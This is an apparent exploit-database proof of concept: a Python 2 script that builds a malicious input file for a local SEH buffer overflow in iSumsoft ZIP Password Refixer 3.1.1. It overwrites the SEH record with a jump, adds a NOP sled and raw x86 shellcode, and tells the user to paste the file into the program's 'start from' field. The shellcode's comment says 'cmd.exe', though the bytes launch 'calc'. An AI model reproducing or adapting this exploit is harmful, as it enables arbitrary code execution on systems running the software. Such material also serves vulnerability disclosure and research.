iSumsoft ZIP Password Refixer 3.1.1 – Buffer Overflow
author = ''' ############################################## # Created: ScrR1pTK1dd13 # # Name: Greg Priest # # Mail: ScR1pTK1dd13.slammer@gmail.com # ############################################## # Exploit Title:iSumsoft Local Buffer Overflow Vuln. 0day(SEH) # Date: 2018.03.02 # Exploit Author: Greg Priest # Version: iSumsoft ZIP Password Refixer Version 3.1.1 # Tested on: Windows7 x64 HUN/ENG Professional ''' junk = "A" * 340 nSEH = "\xeb\x06\x90\x90" SEH = "\x0C\x70\x8D\x73" nop = "\x90" *16 shellcode =( "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" + #cmd.exe shellcode! "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" + "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" + "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" + "\x57\x78\x01\xc2\x8b\x7a\x20\x01" + "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" + "\x45\x81\x3e\x43\x72\x65\x61\x75" + "\xf2\x81\x7e\x08\x6f\x63\x65\x73" + "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" + "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" + "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" + "\xb1\xff\x53\xe2\xfd\x68\x63\x61" + "\x6c\x63\x89\xe2\x52\x52\x53\x53" + "\x53\x53\x53\x53\x52\x53\xff\xd7") crash = junk + nSEH + SEH + nop + shellcode + "C" * 300 exploit = open('iSumsoft-exploit.txt', 'w') exploit.write(crash) exploit.close() print author print ''' ##################### #This is a PoC code!# ##################### ''' print "[+] iSumsoft-exploit.txt ready!" print '[+] Copy iSumsoft-exploit.txt string and paste "start from:" field!' |